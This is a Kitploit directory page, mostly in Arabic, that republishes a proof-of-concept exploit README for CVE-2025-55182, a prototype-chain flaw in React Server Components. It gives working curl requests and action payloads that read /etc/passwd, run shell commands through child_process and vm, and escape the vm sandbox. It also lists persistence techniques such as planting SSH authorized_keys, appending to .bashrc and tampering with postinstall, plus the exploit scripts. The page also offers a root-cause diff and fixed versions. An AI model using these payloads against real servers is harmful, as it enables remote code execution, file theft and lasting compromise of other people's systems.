Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
exploit-CVE-2025-55182-poc — يُظهر هذا الإثبات المفاهيمي (POC) الثغرة CVE-2025-55182 باستخدام الكود الضعيف الفعلي لـ `react-server-dom-webpack@19.0.0`. | Kitploit
أدوات/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

يُظهر هذا الإثبات المفاهيمي (POC) الثغرة CVE-2025-55182 باستخدام الكود الضعيف الفعلي لـ `[email protected]`.

عرض المستودع
1منذ 8 أشهرلم تتم المراجعة بعد

CVE-2025-55182 - ثغرة سلسلة النموذج الأولي لمكونات خادم React

يُظهر هذا الإثبات المفاهيمي (POC) ثغرة CVE-2025-55182 باستخدام الكود الضعيف الفعلي [email protected].

دليل الإصلاح الطارئ لـ CVE-2025-55182: تحليل كامل وتخفيف لثغرة Next.js/React RSC (CVSS 10.0)

هذا المستودع مشتق من https://github.com/ejpir/CVE-2025-55182-poc ولم يتم التحقق منه بعد! يرجى توخي الحذر والتحقق بعناية!

بدء سريع

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

المخرجات المتوقعة

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

نصوص NPM

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file

ملاحظة: هجمات module افتراضية. نادرًا ما يتم تضمين الوحدة المضمنة module في تطبيقات الإنتاج. وهي توضح مسار هجوم نظري عندما يكون fs + module فقط متاحين (بدون vm/child_process). في الممارسة العملية، التطبيقات التي تحتوي على fs عادةً ما تحتوي أيضًا على child_process عبر تبعيات مثل sharp أو puppeteer أو execa.

اختبار الأدوات الفردية

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

الملفات الرئيسية

الخوادم

ملف

نصوص الاستغلال

كيف يعمل server-realistic.js

يحاكي حزمة webpack حقيقية حيث تقوم التطبيقات عادةً بتجميع الوحدات الخطرة عبر التبعيات:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

تقوم دالة __webpack_require__ بتحميل الوحدات فقط من BUNDLED_MODULES، محاكية سلوك webpack الحقيقي.

الثغرة

السبب الجذري

في requireModule()، يتم الوصول إلى الصادرات عبر تدوين الأقواس بدون التحقق من hasOwnProperty:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

ناقل الهجوم

  1. أرسل $ACTION_REF_0 مع بيانات وصفية للإجراء المرتبط
  2. يقوم id: 'vm#runInThisContext' بتحميل وحدة vm، ويصل إلى التصدير runInThisContext
  3. تصبح مصفوفة bound وسائط للدالة
  4. عند استدعاء الإجراء: runInThisContext(CODE) ينفذ كودًا عشوائيًا

جميع أدوات RCE المؤكدة

أمثلة حمولات الأدوات

تنفيذ أمر shell (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

قراءة ملفات حساسة:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

كتابة ملفات إلى القرص:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

تنفيذ JavaScript عشوائي:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

هروب من صندوق الرمل (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

مسارات هجوم بديلة

هل تحتاج إلى vm أو child_process؟

لـ RCE المباشر: نعم، تحتاج إلى واحد من:

  • vm module (runInThisContext, runInNewContext)
  • child_process module (execSync, execFileSync, spawnSync)

لـ RCE غير المباشر (fs فقط): لا! باستخدام fs فقط يمكنك:

  • الكتابة إلى ~/.ssh/authorized_keys → الوصول عبر SSH
  • الإلحاق بـ ~/.bashrc → تنفيذ الكود عند تسجيل الدخول التالي
  • الكتابة فوق node_modules/* → RCE عند إعادة تشغيل التطبيق
  • تعديل postinstall في package.json → RCE عند تشغيل npm install التالي

افتراضي: RCE من خطوتين مع module#_load

ملاحظة: هذا افتراضي. نادرًا ما يتم تضمين الوحدة المضمنة module في الإنتاج.

root@kitploit:~
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!

نتائج المقارنة

الإصدارالهجومالنتيجة
React 19.0.0vm#runInThisContext✓ تم تحقيق RCE
React 19.2.1vm#runInThisContext✗ تم الحظر

اختبار الإصدار المُصحح

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

حزم npm الضعيفة

انظر VULNERABLE-PACKAGES.md للبحث عن حزم npm الشائعة التي تتضمن وحدات خطيرة:

الوحدةالتنزيلات الأسبوعيةالحزم الشائعة
fs145M+fs-extra, gray-matter, multer, sharp

الإصدارات المتأثرة

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

الإصدارات المُصلحة

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
تنزيل الأداة
المنفذ
الوصف
src/server-realistic.js3002الخادم الرئيسي - يحاكي حزمة webpack مع الوحدات الشائعة (fs, vm, child_process)
src/server.js3002الخادم القديم (يستخدم require مباشرة)
src/server-module-test.js3003خادم مع module + fs (للبحث)
ملفالوصف
exploit-rce-v4.jsRCE رئيسي عبر vm#runInThisContext
exploit-all-gadgets.jsيختبر جميع أدوات RCE (vm, child_process, fs)
exploit-module-load.jsRCE من خطوتين عبر fs + module#_load
exploit-indirect-rce.jsRCE غير مباشر من خطوتين مع إنشاء ملف إثبات
exploit-persistence.jsهجمات الثبات (مفاتيح SSH, .bashrc)
exploit-research.jsبحث سلسلة النموذج الأولي
الأداةالحالةالوصف
vm#runInThisContext✓تنفيذ JS عشوائي في السياق الحالي
vm#runInNewContext✓تنفيذ في "صندوق رمل" (يمكن الهروب منه بسهولة)
child_process#execSync✓تنفيذ أمر shell مباشر
child_process#execFileSync✓تنفيذ ملفات ثنائية
child_process#spawnSync✓إنشاء عملية (يعيد كائنًا)
module#_load✓تحميل وتنفيذ ملف JS (خطوتين مع fs)
fs#readFileSync✓قراءة ملفات عشوائية
fs#writeFileSync✓كتابة ملفات عشوائية
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2